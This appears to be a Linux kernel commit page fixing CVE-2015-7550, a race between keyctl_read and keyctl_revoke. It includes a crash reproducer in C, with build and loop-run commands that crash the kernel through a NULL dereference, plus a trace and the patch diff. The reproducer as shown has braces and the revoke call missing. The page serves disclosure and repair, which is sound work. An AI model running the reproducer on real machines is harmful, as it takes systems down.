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KEYS: Fix race between read and revoke

This fixes CVE-2015-7550.

There's a race between keyctl_read() and keyctl_revoke().  If the revoke
happens between keyctl_read() checking the validity of a key and the key's
semaphore being taken, then the key type read method will see a revoked key.

This causes a problem for the user-defined key type because it assumes in
its read method that there will always be a payload in a non-revoked key
and doesn't check for a NULL pointer.

Fix this by making keyctl_read() check the validity of a key after taking
semaphore instead of before.

I think the bug was introduced with the original keyrings code.

This was discovered by a multithreaded test program generated by syzkaller
(  Here's a cleaned up version:

	#include <sys/types.h>
	#include <keyutils.h>
	#include <pthread.h>
	void *thr0(void *arg)
		key_serial_t key = (unsigned long)arg;
		return 0;
	void *thr1(void *arg)
		key_serial_t key = (unsigned long)arg;
		char buffer[16];
		keyctl_read(key, buffer, 16);
		return 0;
	int main()
		key_serial_t key = add_key("user", "%", "foo", 3, KEY_SPEC_USER_KEYRING);
		pthread_t th[5];
		pthread_create(&th[0], 0, thr0, (void *)(unsigned long)key);
		pthread_create(&th[1], 0, thr1, (void *)(unsigned long)key);
		pthread_create(&th[2], 0, thr0, (void *)(unsigned long)key);
		pthread_create(&th[3], 0, thr1, (void *)(unsigned long)key);
		pthread_join(th[0], 0);
		pthread_join(th[1], 0);
		pthread_join(th[2], 0);
		pthread_join(th[3], 0);
		return 0;

Build as:

	cc -o keyctl-race keyctl-race.c -lkeyutils -lpthread

Run as:

	while keyctl-race; do :; done

as it may need several iterations to crash the kernel.  The crash can be
summarised as:

	BUG: unable to handle kernel NULL pointer dereference at 0000000000000010
	IP: [<ffffffff81279b08>] user_read+0x56/0xa3
	Call Trace:
	 [<ffffffff81276aa9>] keyctl_read_key+0xb6/0xd7
	 [<ffffffff81277815>] SyS_keyctl+0x83/0xe0
	 [<ffffffff815dbb97>] entry_SYSCALL_64_fastpath+0x12/0x6f

Change-Id: I4b4011c628b471701cdda77265d8f130b0ed8f22
Reported-by: Dmitry Vyukov <>
Signed-off-by: David Howells <>
Tested-by: Dmitry Vyukov <>
Signed-off-by: James Morris <>
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dhowells authored and andi34 committed Dec 18, 2015
1 parent c1c5303 commit 664dcb8b7162ec262dba59650732a0f99b37ba0f
Showing with 9 additions and 9 deletions.
  1. +9 −9 security/keys/keyctl.c
@@ -688,16 +688,16 @@ long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen)
/* the key is probably readable - now try to read it */
ret = key_validate(key);
if (ret == 0) {
if (key->type->read) {
/* read the data with the semaphore held (since we
* might sleep) */
if (key->type->read) {
/* Read the data with the semaphore held (since we might sleep)
* to protect against the key being updated or revoked.
ret = key_validate(key);
if (ret == 0)
ret = key->type->read(key, buffer, buflen);

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